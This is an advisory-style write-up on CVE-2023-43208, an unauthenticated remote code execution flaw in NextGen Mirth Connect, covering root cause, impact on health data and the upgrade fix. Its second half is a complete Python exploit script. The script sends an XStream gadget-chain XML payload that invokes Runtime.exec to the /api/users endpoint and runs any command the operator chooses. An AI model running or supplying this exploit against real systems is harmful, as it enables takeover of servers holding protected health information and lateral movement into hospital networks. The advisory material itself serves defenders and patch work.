CVE-2023-43208

Vulnerability Overview

CVE-2023-43208 is a critical security vulnerability in the NextGen Healthcare Mirth Connect data integration platform. It allows unauthenticated attackers to achieve RCE (Remote Code Execution), with a CVSS (Common Vulnerability Scoring System) score of 9.8 out of 10.

Technical Details

The root cause of this vulnerability lies in improper handling of deserialization of untrusted data:

• Background: This vulnerability is actually a bypass of a patch for an earlier critical flaw (CVE-2023-37679). The initial fix only used a blocklist to intercept specific dangerous object classes, which proved to be incomplete.
• Attack Vector: When receiving XML data via its API (Application Programming Interface), Mirth Connect uses the XStream Java library for deserialization (converting external XML data back into internal Java objects).
• Execution Process: Due to the lack of strict validation before parsing the data, an attacker can craft and send a specially constructed malicious XML payload. When the system automatically processes this payload, it silently executes arbitrary underlying operating system commands with the current runtime privileges of the Mirth Connect service (typically SYSTEM-level privileges on Windows platforms).

Impact Scope and Potential Risks

• Affected Versions: All Mirth Connect instances running versions earlier than 4.4.1 are vulnerable.
• Actual Exposure Risk: The vulnerability is trivial to exploit as it requires no authentication credentials (such as a username or password). It has been officially added to the CISA (Cybersecurity and Infrastructure Security Agency) KEV (Known Exploited Vulnerabilities) catalog, indicating that active exploitation in the wild has been observed.
• Data and Network Threats: Mirth Connect is widely used to handle sensitive data. Once a server is compromised, an attacker can not only fully take over that server but also use it as a perfect pivot point to laterally move within the internal network, exfiltrating large amounts of PHI (Protected Health Information) or other core business assets.

Remediation and Response Plan

Ensuring the management console and core service are running a secure version is paramount. The only effective official fix is to upgrade Mirth Connect to version 4.4.1 or higher. In version 4.4.1, the vulnerable XStream blocklist mechanism was removed and replaced with a safer explicit allowlist strategy to restrict deserializable classes.

Exploitation

# Exploit script for CVE-2023-37679 and CVE-2023-43208 affecting Nextgen's Mirth Connect
# Created by Ákos Jakab, based on:
#   (1.) https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-MIRTH_CONNECT_CVE_2023_43208-
#   (2.) https://www.horizon3.ai/attack-research/attack-blogs/writeup-for-cve-2023-43208-nextgen-mirth-connect-pre-auth-rce/

import argparse
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def generate_payload(command, platform):
    if platform.lower() == "win":
        cmd = f"cmd.exe /c \"{command}\""
    else:
        cmd = f"{command}"

    xml_payload = f"""
<sorted-set>
    <string>ABCD</string>
    <dynamic-proxy>
      <interface>java.lang.Comparable</interface>
      <handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
        <target class="org.apache.commons.collections4.functors.ChainedTransformer">
          <iTransformers>
            <org.apache.commons.collections4.functors.ConstantTransformer>
              <iConstant class="java-class">java.lang.Runtime</iConstant>
            </org.apache.commons.collections4.functors.ConstantTransformer>
            <org.apache.commons.collections4.functors.InvokerTransformer>
              <iMethodName>getMethod</iMethodName>
              <iParamTypes>
                <java-class>java.lang.String</java-class>
                <java-class>[Ljava.lang.Class;</java-class>
              </iParamTypes>
              <iArgs>
                <string>getRuntime</string>
                <java-class-array/>
              </iArgs>
            </org.apache.commons.collections4.functors.InvokerTransformer>
            <org.apache.commons.collections4.functors.InvokerTransformer>
              <iMethodName>invoke</iMethodName>
              <iParamTypes>
                <java-class>java.lang.Object</java-class>
                <java-class>[Ljava.lang.Object;</java-class>
              </iParamTypes>
              <iArgs>
                <null/>
                <object-array/>
              </iArgs>
            </org.apache.commons.collections4.functors.InvokerTransformer>
            <org.apache.commons.collections4.functors.InvokerTransformer>
              <iMethodName>exec</iMethodName>
              <iParamTypes>
                <java-class>java.lang.String</java-class>
              </iParamTypes>
              <iArgs>
                <string>{cmd}</string>
              </iArgs>
            </org.apache.commons.collections4.functors.InvokerTransformer>
          </iTransformers>
        </target>
        <methodName>transform</methodName>
        <eventTypes>
          <string>compareTo</string>
        </eventTypes>
      </handler>
    </dynamic-proxy>
</sorted-set>
"""
    return xml_payload

def exploit(target_url, command, platform):
    payload = generate_payload(command, platform)
    headers = {
        'Content-Type': 'application/xml',
        'X-Requested-With': 'OpenAPI'
    }
    try:
        response = requests.post(f"{target_url}/api/users", data=payload, headers=headers, verify=False)
        if response.status_code == 500:
            print("The target appears to have executed the payload.")
        else:
            print("Failed to execute the payload.")
    except requests.exceptions.RequestException as e:
        print(f"Request failed: {e}")

def main():
    parser = argparse.ArgumentParser(description='Exploit script for CVE-2023-43208.')
    parser.add_argument('-c', '--command', required=True, help='Command to execute on the target system.')
    parser.add_argument('-u', '--url', required=True, help='Target URL.')
    parser.add_argument('-p', '--platform', default='unix', choices=['unix', 'win'], help='Target platform (default: unix).')
    
    args = parser.parse_args()

    exploit(args.url, args.command, args.platform)

if __name__ == "__main__":
    main()